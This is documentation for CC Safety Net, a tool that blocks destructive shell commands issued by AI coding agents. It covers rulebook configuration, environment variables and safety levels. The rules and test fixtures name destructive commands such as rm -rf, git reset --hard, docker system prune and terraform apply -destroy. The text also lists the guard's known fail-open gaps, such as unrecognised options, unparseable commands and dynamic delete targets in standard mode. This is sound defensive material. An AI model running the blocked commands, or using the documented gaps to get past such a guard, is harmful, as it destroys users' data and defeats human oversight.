# Custom rules: extra command argument patterns Source: https://ccsafetynet.com/docs/configuration/custom-rules Define project and user-level custom blocking rules in CC Safety Net using JSON rulebooks. Match a command with version 1 subcommand and argument patterns or a version 2 exact command path, install rulebooks from a GitHub repository, and block with a custom reason message. Use custom blocking rules to enforce team conventions or project-specific safety policies. Rules use a **rulebook-based layout** and merge from user and project scopes. This lets you keep personal defaults with project overrides. **Breaking change.** CC Safety Net no longer loads legacy inline configuration files (`.safety-net.json` and `~/.cc-safety-net/config.json`) at runtime. If they contain rules, **those rules are inert until you migrate**. The runtime ignores legacy files silently. `rule verify` warns about them. Ordinary commands keep working. Run `npx -y cc-safety-net rule migrate` to convert legacy rules into the rulebook layout. See [Migrate legacy configuration](#migrate-legacy-configuration). Authoring rules is one workflow of the **`/cc-safety-net` skill**. Run it inside your agent and describe what you want in natural language: ```text theme={"dark"} /cc-safety-net read my package.json and suggest blocking rules /cc-safety-net set up rules to block all terraform destroy commands /cc-safety-net verify my rules and fix any errors ``` The [`/cc-safety-net` skill](/docs/guides/skill) page covers its other workflows. If your agent does not support skills, prompt it with: ```text theme={"dark"} run npx -y cc-safety-net rule doc and help me set up custom rules ``` ## Rule configuration file locations CC Safety Net loads rulebooks from two scopes and merges them: 1. **User scope.** `~/.cc-safety-net/rules/rule.json` (created with `rule init --global`). Use this for personal defaults that apply to every project. 2. **Project scope.** `.cc-safety-net/rules/rule.json` in the project root. Use this for team or project-specific rules you can commit to source control. Local rulebook sources are referenced by bare names like `project-rules`. GitHub rulebook sources use `owner/repo#ref/` and point to `.cc-safety-net/rules//rulebook.json` in that repository. `rule add` and `rule update` vendor that file into your own scope at the same relative path, so every active rulebook is a file in the config directory. ### Scope merge behavior * Rulebooks from both scopes are combined, user scope first. * **Duplicate active rulebook names resolve by first claim.** CC Safety Net loads user scope first, so a name it claims shadows the project rulebook with the same name. The later rulebook contributes no rules instead of partially shadowing the first. CC Safety Net reports the collision as a warning and puts the runtime in the `degraded` state. Rename one of the rulebooks in its rulebook file and in the `rule.json` that lists it. Because the collision is resolved instead of fatal, adding or updating a source in one scope still succeeds when the other scope already uses that name. * **Each scope's `overrides` apply to that scope's own rules.** CC Safety Net ignores a project override that names a user-scoped rule and reports a warning. The rule keeps its user-configured state. Project config cannot disable or rewrite a user rule. * An override key that matches no known rule is ignored with a warning; other overrides and rules keep their configured state. * `transparent_wrappers` from both scopes are unioned. If no config is found in either location, only built-in rules apply. ## Managing rulebook sources A rulebook source is referenced by an entry in `rule.json`'s `rules` array. There are two kinds: * **Local source.** A bare name such as `project-rules`. The rulebook lives at `.cc-safety-net/rules/project-rules/rulebook.json` (project) or `~/.cc-safety-net/rules/project-rules/rulebook.json` (user). Local sources must stay within their config directory. * **GitHub source.** `owner/repo#ref/` names `.cc-safety-net/rules//rulebook.json` in that repository and ref. `rule add` and `rule update` vendor that file into your own scope at `.cc-safety-net/rules//rulebook.json`, writing the fetched bytes verbatim, so it loads exactly the way a local rulebook does. Use the `rule` command to add, update, and remove sources rather than editing `rule.json` by hand: ```bash theme={"dark"} # Add a local rulebook source npx -y cc-safety-net rule add project-rules # Add one rulebook from a GitHub repository and ref npx -y cc-safety-net rule add kenryu42/cc-safety-net#main/example-rules # Add every rulebook a repository publishes, from its default branch npx -y cc-safety-net rule add acme/safety-rules # Add selected rulebooks from a branch, tag, or commit npx -y cc-safety-net rule add acme/safety-rules --ref v2 --only aws gcloud # Re-fetch a single source, or every source when no source is given npx -y cc-safety-net rule update example-rules # List active rulebooks, rules, overrides, and wrappers npx -y cc-safety-net rule list # Remove a source (--delete-source also deletes a local source directory) npx -y cc-safety-net rule remove example-rules --delete-source ``` Add `--global` (`-g`) to operate on the user scope instead of the project scope. `rule list` is the exception. It reads both scopes and rejects `--global`. See [CLI commands](/docs/reference/cli-commands) for every `rule` subcommand, its options, and its exit behavior. ### Install rulebooks from a repository `rule add` accepts a bare `owner/repo` as well as the canonical `owner/repo#ref/`. A bare repository adds every rulebook that repository publishes under `.cc-safety-net/rules/`. Two flags narrow that down, and both work only on `rule add` with an `owner/repo` source: * `--only ` takes one or more rulebook names and keeps the order you list them in. * `--ref ` picks a branch, tag, or commit instead of the repository's default branch. A ref may contain `/` segments, so `--ref feature/rulebook-v2` works. `rule.json` stores the canonical form `owner/repo#ref/`, keeping the ref you asked for rather than the commit it resolved to. That ref stays movable. The resolved commit is reported instead of stored, so an add prints `Vendored at 1a2b3c4.` and writes the rulebook file, and there is no lockfile to pin it. `rule update` re-resolves every selected source, so a branch or tag ref follows wherever it now points and the vendored file is rewritten from there. Sources update independently. One that fails to fetch or validate keeps its vendored copy and is reported as `Failed to update : ` while the others still update. A resource-limit failure is the exception and stops the whole run. ### Resource limits The `rules` array holds at most **64** sources per scope. A `rule.json` with more entries fails validation with the single error `Rule config exceeds CC Safety Net's safe source limit.` The error does not list each item in the oversized array, and CC Safety Net drops the whole scope's config like any other invalid `rule.json`. Fetching from GitHub runs under fixed budgets. `rule add` and `rule update` process at most **4** sources concurrently, and one run makes at most **131** GitHub requests and reads at most **64 MiB** of response bytes across all sources. Exceeding a budget stops the run with `Rule synchronization exceeds CC Safety Net's safe resource limits.` and fails every source in it, not only the one that exceeded the budget. Rulebook files have their own limits, checked before the schema. A rulebook over any of them is rejected with the single error `Rulebook exceeds CC Safety Net's safe validation limits.` and no per-field detail: | Limit | Value | | -------------------------------------------------------------------------------------------------- | --------------------------- | | `allowed_commands` entries | 1,024 | | `rules` entries | 1,024 | | `tests` entries | 2,048 | | Tokens in one rule's `block_args`, `match.command_path`, `match.any_args`, or `match.exclude_args` | 1,024 | | Tokens across every one of those lists in the rulebook | 16,384 | | Any single string | 1,048,576 UTF-16 code units | | Every string in the rulebook combined | 4,194,304 UTF-16 code units | | A fixture's `command` string | 131,072 UTF-16 code units | A rulebook that clears those limits and then fails the schema reports at most 64 errors, followed by `Additional rulebook validation errors were omitted.` ### Rulebooks are live files There is no lockfile, no digest, and no cache. Every source loads from `//rulebook.json`, and the runtime reads that file on every tool call. A local rulebook is authored there directly; a remote one is vendored there by `rule add` and `rule update`. A saved edit applies to the next command, so there is nothing to publish or rebuild afterwards. A source whose `rulebook.json` is missing, unreadable, or invalid is inactive. It contributes no rules, every other source and every built-in protection keeps applying, ordinary commands keep running, and the runtime reports `degraded`. An unreadable or invalid `rule.json` makes every source in its scope inactive. For a GitHub source that has not been vendored yet, run `npx -y cc-safety-net rule update`. See [Configuration recovery](/docs/configuration/recovery) for the full state model, the exact diagnostic strings, and the repair sequence. ### `rule sync` is deprecated `rule sync` no longer synchronizes anything. All it does now is migrate, offline, the `rule.lock` file and `cache` directory an earlier version left behind: it vendors each cached rulebook that still matches its recorded digest into the live path its source loads from, then deletes both. Every run opens with: ```text theme={"dark"} `cc-safety-net rule sync` is deprecated: rulebooks are live files that need no synchronization. This run only migrates the lock and cache an earlier version left behind. ``` `doctor` reports any leftovers as the info finding `Rulebook lock and cache leftovers detected`. See [`rule sync`](/docs/reference/cli-commands#rule-sync) for every message the migration prints and the case where it refuses to run. ## Transparent wrappers If your team runs commands through a wrapper such as `rtk`, analysis sees the wrapper by default, not the command underneath. Listing the wrapper in `transparent_wrappers` lets CC Safety Net look through it to the visible protected child command, so both built-in analysis and your custom rules apply to `rtk git reset --hard` and `rtk docker system prune` exactly as they would to the bare commands. Configure wrappers with the `rule wrapper` subcommand rather than editing `rule.json` by hand: ```bash theme={"dark"} # List configured wrappers for the project scope npx -y cc-safety-net rule wrapper list # Trust a wrapper, or stop trusting it npx -y cc-safety-net rule wrapper add rtk npx -y cc-safety-net rule wrapper remove rtk # Operate on the user scope instead npx -y cc-safety-net rule wrapper add rtk --global ``` Rules for the field: * **There are no built-in defaults.** Configure only wrappers you intentionally trust. * A wrapper name must match `^[a-zA-Z][a-zA-Z0-9_-]*$` and must be unique within the file. * **Reserved commands cannot be wrappers**: `git`, `busybox`, the built-in analyzed commands `rm`, `find`, `xargs`, and `parallel`, every shell wrapper, every interpreter, and the awk interpreters. * Unwrapping finds the first *protectable* child command after wrapper flags and `VAR=value` assignments, or the token immediately after an explicit `--`. A child that is not itself protectable is not unwrapped. * A wrapper that is **not** listed here, or one that rewrites or hides its child command rather than exec'ing a visible child, is still not unwrapped. Only the top-level dangerous-text fallback scan may catch such a command. `transparent_wrappers` lives in `rule.json`. If a scope's `rule.json` becomes unreadable, that scope's wrappers stop applying. This is the one place where dropped configuration reduces built-in coverage. A **rulebook** that fails to load leaves `rule.json` readable, so wrappers survive it. ## Create your first custom rule Create a starter project rule config: ```bash theme={"dark"} npx -y cc-safety-net rule init ``` This creates an **inert** `.cc-safety-net/rules/rule.json`. No rulebook sources are configured yet: ```json theme={"dark"} { "version": 1, "rules": [], "overrides": {}, "transparent_wrappers": [] } ``` Add `--example` to also write an inactive example rulebook at `.cc-safety-net/rules/example-rules/rulebook.json`. It is written only when that file does not already exist, and `rule init` does not reference it, so you must add it as a source to make it active: ```bash theme={"dark"} npx -y cc-safety-net rule init --example npx -y cc-safety-net rule add example-rules ``` To author your own rulebook, create `.cc-safety-net/rules/project-rules/rulebook.json` and register it with `npx -y cc-safety-net rule add project-rules`. That leaves `rule.json` looking like this: ```json theme={"dark"} { "version": 1, "rules": ["project-rules"], "overrides": {}, "transparent_wrappers": [] } ``` Rule definitions live in that rulebook file: ```json theme={"dark"} { "rulebook_version": 1, "name": "project-rules", "version": "1.0.0", "description": "Project-specific CC Safety Net rules.", "author": "project", "allowed_commands": ["git"], "rules": [ { "name": "block-git-add-all", "command": "git", "subcommand": "add", "block_args": ["-A", "--all", "."], "reason": "Use 'git add ' instead of blanket add." } ], "tests": [ { "command": "git add -A", "expect": "blocked", "rule": "block-git-add-all" }, { "command": "git add README.md", "expect": "allowed" } ] } ``` Saving the file is enough. From the next command onwards, `git add -A`, `git add --all`, and `git add .` are blocked with your custom message. To check the file before that, run: ```bash theme={"dark"} npx -y cc-safety-net rule verify ``` ## `rule.json` schema The top-level `rule.json` selects active rulebooks, applies overrides, and declares transparent wrappers. It is separate from `policy.json`, which configures safety levels, built-in protections, allow and deny paths, and audit retention. See [Policy](/docs/configuration/policy) for that file. Schema version. Must be `1`. List of rulebook source strings. Defaults to an empty array. Source names must be unique within the file, and at most 64 sources are allowed. See [Resource limits](#resource-limits). Rule overrides keyed by `/`. Values are either `"off"` to disable a rule, or an object to replace the rule's block message. The object form requires `reason` and accepts an optional `intent`; an omitted `intent` leaves the rule's own intent unchanged. Command names that transparently execute a visible protected child command, so analysis looks through them. Defaults to an empty array. Entries must be unique and must not be reserved commands. See [Transparent wrappers](#transparent-wrappers). An override that changes both the message and the agent-facing intent looks like this: ```json theme={"dark"} { "version": 1, "rules": ["project-rules", "owner/repo#main/team-rules"], "overrides": { "project-rules/block-docker-system-prune": { "reason": "Use targeted Docker cleanup commands.", "intent": "use_alternative" }, "team-rules/block-npm-global": "off" }, "transparent_wrappers": ["rtk"] } ``` ### `rule.json` editor support CC Safety Net publishes a JSON Schema for `rule.json`, generated from the same schema the runtime validates against. Point your editor at it for completion and validation: ```json theme={"dark"} { "$schema": "https://raw.githubusercontent.com/kenryu42/cc-safety-net/main/assets/cc-safety-net.schema.json", "version": 1, "rules": [], "overrides": {}, "transparent_wrappers": [] } ``` It covers exactly the `rule.json` fields above: `version`, `rules`, `overrides`, and `transparent_wrappers`. Running `rule verify` adds this `$schema` reference to a valid rules config that lacks one. There is no published schema for `policy.json`. ## Rulebook schema Each rulebook lives in its own `rulebook.json` file. Rulebook schema version. Must be `1` or `2`. Any other value fails validation with `rulebook_version must be 1 or 2`. See [Version 2 rules](#version-2-rules). Rulebook name. Must match the local directory name or GitHub source name. Rulebook version string. Human-readable description of the rulebook. Rulebook author. Commands this rulebook is allowed to define rules for. Custom blocking rules. See [Rule schema](#rule-schema). Optional rulebook fixtures. See [Fixture schema](#fixture-schema). Version 1 fixtures are shape-validated only. Version 2 fixtures are also evaluated against the rulebook's own rules. ## Rule schema The fields below define a `rulebook_version` 1 rule. Version 2 replaces `subcommand` and `block_args` with a `match` object; see [Version 2 rules](#version-2-rules). Unique within the rulebook. Must start with a letter, followed by letters, numbers, hyphens, or underscores. Maximum of 64 characters. Base command to match. Must be listed in `allowed_commands`. Subcommand to match, for example `add` or `install`. If omitted, matches any subcommand. Arguments that trigger the block (at least one required). Message shown when blocked. Maximum of 256 characters. Agent behavior intent appended to the block message footer. One of `hard_stop`, `use_alternative`, `scope_down`, `manual_only`, or `stop_and_explain`. Defaults to `manual_only`. ## Version 2 rules Set `"rulebook_version": 2` to match on an exact command path instead of a subcommand plus a bag of arguments. A version 1 rule that blocks `delete` under `gcloud compute` also blocks `gcloud compute instances create delete`, because it looks for the token anywhere in the command. A version 2 rule with the command path `["compute", "instances", "delete"]` does not. Version 1 rulebooks keep their fields, their matching, and their shape-only fixtures. Each rulebook is validated against the version it declares. A version 2 rule keeps `name`, `command`, `reason`, and `intent` from version 1 and replaces `subcommand` and `block_args` with a `match` object. Command words that must follow the command, in order. Non-empty array of non-empty strings. At least one of these tokens must appear literally among the arguments. Non-empty array of unique non-empty strings. Any of these tokens appearing literally among the arguments prevents the match. Non-empty array of unique non-empty strings. Version 2 rejects the version 1 fields instead of ignoring them. A rule that still carries `subcommand` or `block_args` fails validation with `rules[0].subcommand: not supported in rulebook_version 2` and `rules[0].block_args: not supported in rulebook_version 2`. ```json theme={"dark"} { "rulebook_version": 2, "name": "terraform-rules", "version": "1.0.0", "allowed_commands": ["terraform"], "rules": [ { "name": "block-terraform-apply-destroy", "command": "terraform", "match": { "command_path": ["apply"], "any_args": ["-destroy", "--destroy"] }, "reason": "Review a destroy plan first with 'terraform plan -destroy'.", "intent": "use_alternative" } ], "tests": [ { "command": "terraform apply -destroy", "expect": "blocked", "rule": "block-terraform-apply-destroy" }, { "command": "terraform -chdir=infra apply", "expect": "allowed" } ] } ``` ### Version 2 matching * **Command**: Normalized to its lowercase basename, as in version 1. * **Command path**: CC Safety Net walks the arguments and skips recognized value-taking global options together with their values. The command words it then meets must equal `command_path` exactly, in order. Arguments after the path do not affect the path match. * **Global option tables**: Value-taking global options are built in for `aws`, `gcloud`, and `az` only. Terraform needs no table. Its one global option, `-chdir=DIR`, is `=`-joined, so it is skipped as a single token. * **Unrecognized options**: A token starting with `-` that is not in the table for that command is skipped without consuming a value. An unlisted value-taking option written with a separate value (`--newflag value`) therefore makes the rule miss. The miss is deliberate. CC Safety Net fails open rather than block on an option it does not recognize, so as a rulebook author, treat this as a known gap and document it in the rulebook. * **No short-option expansion**: `-Ap` stays `-Ap`. List every spelling you want to catch, such as `"-destroy"` and `"--destroy"`. * **Literal and case-sensitive**: No regex, glob, or substring matching. * **First match wins**: Rules are evaluated in order, and the first rule that matches produces the block. * **Release channels need their own rule**: `gcloud beta compute instances delete` does not match a `command_path` of `["compute", "instances", "delete"]`. Write a second rule with `["beta", "compute", "instances", "delete"]`. ## Fixture schema Fixtures document intended behavior. CC Safety Net parses their commands and runs them through the rulebook's rules. It never executes them. Shell command fixture. Either `blocked` or `allowed`. Rule expected to block the command. Required for blocked fixtures. Version 1 fixtures are shape-validated only. Version 2 fixtures are evaluated against the rulebook's own rules, both when `rule add` or `rule update` fetches a source and when `rule verify` reads a rulebook directory. A `blocked` fixture passes only when its named rule is the first match; an `allowed` fixture passes only when no rule matches. A failing fixture rejects that source before the file is written, so a rulebook that contradicts its own fixtures never becomes active. Loading a rulebook does not re-evaluate them. Each failure names the fixture by its index in `tests`: ```text theme={"dark"} tests[]: expected "" to block "" but no rule matched tests[]: expected "" to block "" but "" matched first tests[]: expected "" to be allowed but "" matched tests[]: could not parse fixture command: ``` `rule verify` prefixes each one with the rulebook file, as `example-rules/rulebook.json: tests[0]: ...`. ## Matching behavior The subcommand, argument, and option rules below describe `rulebook_version` 1 rules. Version 2 rules match as described in [Version 2 matching](#version-2-matching). Command normalization, execution order, and transparent wrappers apply to both. * **Command normalization**: Commands are reduced to their basename before matching. `/usr/local/bin/npm` matches a rule with `"command": "npm"`. * **Subcommand detection**: The subcommand is the first non-option argument following the command. In `git --no-pager add -A`, the subcommand is `add`. * **Argument matching**: Arguments in `block_args` are matched literally. No regex or glob support. * **Short option expansion**: Bundled short flags are unbundled before matching. `-Ap` is treated as `-A` and `-p`. * **Long option matching**: Long options use exact string matching. `--all-files` does **not** match `--all`. * **Any-argument matching**: A command is blocked if any single argument in `block_args` is present. * **Additive only**: Custom rules can only add new restrictions. They cannot bypass built-in protections. **Known limitation**: `-Cfoo` is treated as `-C -f -o -o`, not `-C foo`. Blocking `-f` may false-positive on attached option values. ## Examples Prevent the agent from installing packages globally: ```json theme={"dark"} { "rulebook_version": 1, "name": "project-rules", "version": "1.0.0", "allowed_commands": ["npm"], "rules": [ { "name": "block-npm-global", "command": "npm", "subcommand": "install", "block_args": ["-g", "--global"], "reason": "Global npm installs can cause version conflicts. Use npx or local install." } ], "tests": [ { "command": "npm install -g typescript", "expect": "blocked", "rule": "block-npm-global" }, { "command": "npm install typescript", "expect": "allowed" } ] } ``` Block `docker system prune`: ```json theme={"dark"} { "rulebook_version": 1, "name": "project-rules", "version": "1.0.0", "allowed_commands": ["docker"], "rules": [ { "name": "block-docker-system-prune", "command": "docker", "subcommand": "system", "block_args": ["prune"], "reason": "docker system prune removes all unused data. Use targeted cleanup instead." } ], "tests": [ { "command": "docker system prune", "expect": "blocked", "rule": "block-docker-system-prune" }, { "command": "docker ps", "expect": "allowed" } ] } ``` ```json theme={"dark"} { "rulebook_version": 1, "name": "project-rules", "version": "1.0.0", "allowed_commands": ["git", "npm"], "rules": [ { "name": "block-git-add-all", "command": "git", "subcommand": "add", "block_args": ["-A", "--all", ".", "-u", "--update"], "reason": "Use 'git add ' instead of blanket add." }, { "name": "block-npm-global", "command": "npm", "subcommand": "install", "block_args": ["-g", "--global"], "reason": "Use npx or local install instead of global." } ], "tests": [ { "command": "git add -A", "expect": "blocked", "rule": "block-git-add-all" }, { "command": "npm install -g typescript", "expect": "blocked", "rule": "block-npm-global" } ] } ``` ## Block message format [What a block looks like](/docs/guides/how-it-works#what-a-block-looks-like) owns the full block message layout. What a custom rule adds is a prefix carrying the rulebook name and the rule name, so you can tell which rulebook produced the block: ```text theme={"dark"} BLOCKED by CC Safety Net Reason: [project-rules/block-git-add-all] Use 'git add ' instead of blanket add. Command: git add -A ``` The prefix is `/`. This is also the key you use in `rule.json` `overrides` to disable a rule (`"off"`) or replace its reason. ## Validate your rulebooks After creating or editing rulebooks, validate them with: ```bash theme={"dark"} npx -y cc-safety-net rule verify ``` `rule verify` checks both scopes' `rule.json`, loads each configured source the way the guard loads it, and validates every rulebook directory under `.cc-safety-net/rules/` in the current repository, including the version 2 fixtures. It never fetches remote content. ## Migrate legacy configuration Legacy inline config files (`.safety-net.json` and `~/.cc-safety-net/config.json`) are **no longer loaded at runtime**. | Legacy file state | New behavior | | ---------------------- | ------------------------------------------------------------------------------------------------- | | Empty legacy file | Silently ignored. Only built-in rules apply | | Legacy file with rules | Its rules are **inert** until migrated with `rule migrate`; the runtime ignores the file silently | | Invalid legacy file | Same result. Inert until fixed and migrated, or removed | CC Safety Net never enforces legacy rules from their old location, and they do not block work. The runtime does not inspect legacy files, so no warning appears at guard time. Run `npx -y cc-safety-net rule verify` after an upgrade to find a leftover legacy file. ```bash theme={"dark"} # Convert legacy inline rules into the rulebook layout npx -y cc-safety-net rule migrate # Optionally delete verified legacy files after migration npx -y cc-safety-net rule migrate --cleanup # Validate the migrated rules npx -y cc-safety-net rule verify ``` **Before.** A single inline config with embedded rules: ```text theme={"dark"} .safety-net.json # project rules (inline) ~/.cc-safety-net/config.json # user rules (inline) ``` **After.** `rule migrate` creates a rulebook-based layout automatically: ```text theme={"dark"} .cc-safety-net/rules/rule.json # project rulebook sources + overrides .cc-safety-net/rules/project-rules/rulebook.json # migrated project rules ~/.cc-safety-net/rules/rule.json # user rulebook sources + overrides ~/.cc-safety-net/rules/user-rules/rulebook.json # migrated user rules ``` ## Invalid custom-rule configuration Custom-rule configuration that fails to load is **dropped, not enforced, and never turned into a denial**. Ordinary commands keep running, every other valid source keeps enforcing, and every built-in protection still applies. The runtime reports itself as `degraded` so the situation is visible. Because a dropped source **removes** denials rather than adding them, this failure produces no friction on its own. Run `npx cc-safety-net status` after configuration changes and upgrades. See [Configuration recovery](/docs/configuration/recovery) for the full failure-to-fallback matrix, the diagnostic strings, the reporting surfaces, and the repair sequence. Custom rule configuration is **not tamper-resistant**. `rule.json` and the rulebook files are best-effort; only `policy.json` is a protected path. If you add or modify custom rules manually, always validate them with `npx -y cc-safety-net rule verify`. # Environment variables Source: https://ccsafetynet.com/docs/configuration/environment Complete reference for every CC Safety Net environment variable: safety level, capability toggles, audit scope, debug output, config-directory override, update-check opt-out, and the policy-versus-environment precedence rules. CC Safety Net reads its configuration from `policy.json` and environment variables. Mode toggles use the `CC_SAFETY_NET_*` prefix. Older `SAFETY_NET_*` names without the `CC_` prefix remain as legacy aliases where noted. Set variables in your shell or your agent's launch environment before you start the agent. This page is the reference for the variables themselves and for how they combine with `policy.json`. For what each level blocks, see [Modes](/docs/configuration/modes); for the full policy file contract, see [Policy](/docs/configuration/policy). ## Safety level | Variable | Legacy alias | Effect | | ------------------------------------------------ | ------------ | ------------------------------------------------------------------------------------------------------------ | | `CC_SAFETY_NET_LEVEL=standard\|strict\|paranoid` | none | Select a safety preset. Raises the level configured by `safety.level` in `policy.json`, and never lowers it. | The three presets expand into the same capabilities: `fail_closed`, `paranoid_rm`, and `paranoid_interpreters`. See [Modes](/docs/configuration/modes) for what each preset blocks and what each capability changes. CC Safety Net ignores any value other than `standard`, `strict`, or `paranoid` and uses the level from `policy.json` unchanged. It always reports the rejected value on stderr. This warning does not require a debug flag: ``` CC Safety Net: ignored invalid CC_SAFETY_NET_LEVEL="". Use standard, strict, paranoid. ``` The reported value is truncated to its first 40 characters. An empty value is treated as unset and produces no warning. ## Capability toggles These are the legacy per-capability flags. Each one **only raises** its capability. A falsy value does not turn a capability off. Use `safety.overrides` in [policy.json](/docs/configuration/policy) when you need to turn a capability off below its preset. | Variable | Legacy alias | Effect | | --------------------------------------- | ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------- | | `CC_SAFETY_NET_STRICT=1` | `SAFETY_NET_STRICT` | Force the `fail_closed` capability on. Equivalent to `safety.overrides.fail_closed: true`. | | `CC_SAFETY_NET_PARANOID=1` | `SAFETY_NET_PARANOID` | Force both `paranoid_rm` and `paranoid_interpreters` on. It does **not** set `fail_closed`. | | `CC_SAFETY_NET_PARANOID_RM=1` | `SAFETY_NET_PARANOID_RM` | Force `paranoid_rm` on: block non-temp `rm -rf` even when the target is inside the cwd. | | `CC_SAFETY_NET_PARANOID_INTERPRETERS=1` | `SAFETY_NET_PARANOID_INTERPRETERS` | Force `paranoid_interpreters` on: block every interpreter one-liner regardless of content. | | `CC_SAFETY_NET_WORKTREE=1` | `SAFETY_NET_WORKTREE` | Relax local-discard git rules inside a confirmed linked worktree. Combined with `workflow.worktree_mode` as a logical OR. | Every other flag in this table can only tighten protection. `CC_SAFETY_NET_WORKTREE` is the one exception: it turns on worktree mode, which *relaxes* local-discard git rules inside a confirmed linked worktree. Boolean flags are truthy when set to `1` or `true` (case-insensitive). When a `CC_SAFETY_NET_*` name is set it wins; the `SAFETY_NET_*` alias is only consulted when the prefixed name is absent. ## Precedence Policy and environment are combined in a fixed order: 1. **Preset.** `safety.level` in `policy.json` supplies the inherited capability defaults. When the field is absent, the preset is `standard`. 2. **`CC_SAFETY_NET_LEVEL`.** The effective base level is the higher of the policy level and the environment level. The environment can raise the level but never lower it. 3. **`safety.overrides.*`.** Explicit capability overrides in `policy.json` can then set `fail_closed`, `paranoid_rm`, or `paranoid_interpreters` to `true` or `false`. 4. **Capability toggles.** CC Safety Net applies the `CC_SAFETY_NET_STRICT`, `CC_SAFETY_NET_PARANOID`, `CC_SAFETY_NET_PARANOID_RM`, and `CC_SAFETY_NET_PARANOID_INTERPRETERS` flags last. These flags are **monotonic**. Each one forces its capability to `true`, and none can turn a capability off. 5. **Worktree mode** is the logical OR of `workflow.worktree_mode` and `CC_SAFETY_NET_WORKTREE`. CC Safety Net derives the reported **effective level** from the resulting capability values. It reports a combination that matches no preset as `custom`, for example `paranoid_rm` on with `fail_closed` off. Per-rule entries in `destructive_command_protection.overrides` are applied on top of the capability-derived state. Catastrophic rules are always enforced and cannot be disabled by any of the above. ## Audit scope | Variable | Legacy alias | Effect | | ---------------------------------------- | ------------ | --------------------------------------------------------------- | | `CC_SAFETY_NET_AUDIT_SCOPE=all\|blocked` | none | Which command decisions reach the audit log. Defaults to `all`. | * `all` (the default, and the behavior when the variable is unset) records both allowed and blocked command decisions. * `blocked` is the privacy-minimizing setting: only denials are recorded. * Denials are **never** suppressed by this setting. * Any other value falls back to denials-only recording, and `doctor` reports it as the warning finding `environment.audit-scope-invalid`. Allowed decisions are recorded only when the tool call routed to a command; allowed non-command tool calls produce no record. ## Debug output | Variable | Legacy alias | Effect | | ----------------------- | ------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `CC_SAFETY_NET_DEBUG=1` | none | Print diagnostic messages to stderr, such as the reason an analysis exception occurred or a failure to read the Claude settings file for the status line. It does not control the invalid-`CC_SAFETY_NET_LEVEL` warning. That warning is always printed. | `CC_SAFETY_NET_DEBUG` does not change which decisions are recorded. `CC_SAFETY_NET_AUDIT_SCOPE` controls that behavior. Use the debug flag when you investigate why a command was allowed or when you file a bug report. The `doctor` command reports whether it is set. ## Configuration directory override | Variable | Legacy alias | Effect | | --------------------------- | ------------ | ------------------------------------------------------------------------------- | | `CC_SAFETY_NET_HOME=` | none | Use `` as the CC Safety Net home directory instead of `~/.cc-safety-net`. | When set, `policy.json` is read from `/policy.json`, user-scope rulebook config from `/rules/rule.json`, and each user-scope rulebook from `/rules//rulebook.json`. This is useful in sandboxed or non-standard `HOME` setups, for example when an agent runs with a different home directory than your shell. The override covers the user scope only. The project policy file and project rulebook config resolve from the project directory and are unaffected. `CC_SAFETY_NET_HOME` does not relocate the audit log. The audit root resolves independently. See [Audit log](/docs/reference/audit-log#log-layout) for how CC Safety Net derives it. ## Update-check opt-out | Variable | Legacy alias | Effect | | --------------------------------- | ------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `CC_SAFETY_NET_NO_UPDATE_CHECK=1` | none | Disable the update check that runs during `rule doc`. Any non-empty value counts. CC Safety Net does not parse this variable as a boolean, so even `0` disables the check. | `rule doc` normally checks for a newer release at most once every 24 hours: it polls `https://registry.npmjs.org/cc-safety-net/latest`, caches the result in `$HOME/.cc-safety-net/update-check.json`, and prints an `UPDATE_AVAILABLE:` line on stderr when a newer version exists. That poll is the only outbound network request the CLI makes during `rule doc`. When `CC_SAFETY_NET_NO_UPDATE_CHECK` is set, the check is skipped entirely: no registry poll, no cache write, and no `UPDATE_AVAILABLE:` line. It does not affect the separate update check that `doctor` and the dashboard run. ## Check your active configuration Run `status` for a quick check, or run `doctor` for the full report: ```bash theme={"dark"} npx cc-safety-net status npx cc-safety-net doctor ``` The Environment section of the `doctor` report lists each variable, its value, its default behavior, and any legacy `SAFETY_NET_*` name that is in use. See [CLI commands](/docs/reference/cli-commands) for the full syntax and output of both commands, and [Status line](/docs/configuration/status-line) for the at-a-glance indicator in Claude Code. # Safety levels and worktree mode Source: https://ccsafetynet.com/docs/configuration/modes What CC Safety Net's standard, strict, and paranoid safety levels block, plus worktree mode. Set a level in policy.json or with environment variables to tune behavior for your workflow. CC Safety Net resolves protection into three **safety levels**: `standard`, `strict`, and `paranoid`. Each level is a preset that expands into the same three capabilities. A level is shorthand, not a separate code path. | Level | `fail_closed` | `paranoid_rm` | `paranoid_interpreters` | | -------------------- | ------------- | ------------- | ----------------------- | | `standard` (default) | off | off | off | | `strict` | **on** | off | off | | `paranoid` | **on** | **on** | **on** | Set the level with `safety.level` in `policy.json` or the `CC_SAFETY_NET_LEVEL` environment variable. The higher value becomes the effective base level. The individual toggles on this page set one capability on top of that base. CC Safety Net reports any combination that does not match one of the three presets as the effective level `custom`. Mode and debug flags use `CC_SAFETY_NET_*` environment variables. Older `SAFETY_NET_*` names (without the `CC_` prefix) are also accepted for strict, paranoid, paranoid-rm, paranoid-interpreters, and worktree toggles. See [Environment](/docs/configuration/environment) for the full list and for the exact precedence between policy and environment, and [Policy](/docs/configuration/policy) for `safety.level` and `safety.overrides`. ## Default mode Default mode is the `standard` safety level. You do not need environment variables to start, and CC Safety Net protects against the built-in destructive git and filesystem patterns. Start here unless you need the stricter checks below. Some failures are handled the same way at every level: * **Invalid hook input JSON** is **always blocked** (fail-closed), in every mode. * If the analyzer itself throws an unexpected error, the command is **always blocked** (fail-closed) with a "failed closed" reason, in every mode. * A command that exceeds the parser's **recursion or structural validation limits** is **always blocked**, in every mode. These resource-exhaustion bounds are not relaxed by the standard level. Where standard differs is unparseable and unverifiable input: * If a command cannot be tokenized by the shell parser (for example, an unterminated quote), CC Safety Net runs a fallback text scan for known-dangerous patterns. If the scan matches, the command is blocked; if it does not match, the command is **allowed through**. So `echo 'unterminated` is allowed, while `git reset --hard 'unterminated` is still blocked by the heuristic scan. * **Dynamic recursive-delete targets are not categorically blocked in standard.** `rm -rf "$target"` is allowed here and blocked only once the fail-closed capability is on. Standard also intentionally allows dynamic executables, command structure assembled through substitution, other unverifiable recursive-delete targets, standalone metadata-only checks of built-in sensitive paths, and `eval`/`source` of a single fully literal local generator command such as `eval "$(ssh-agent -s)"`. These are deliberate trade-offs: standard is **best-effort against adversarial or dynamic input**. Use strict or paranoid when commands may come from prompt injection or another adversarial context. Standard never relaxes sensitive **content** access, user-configured deny paths and their 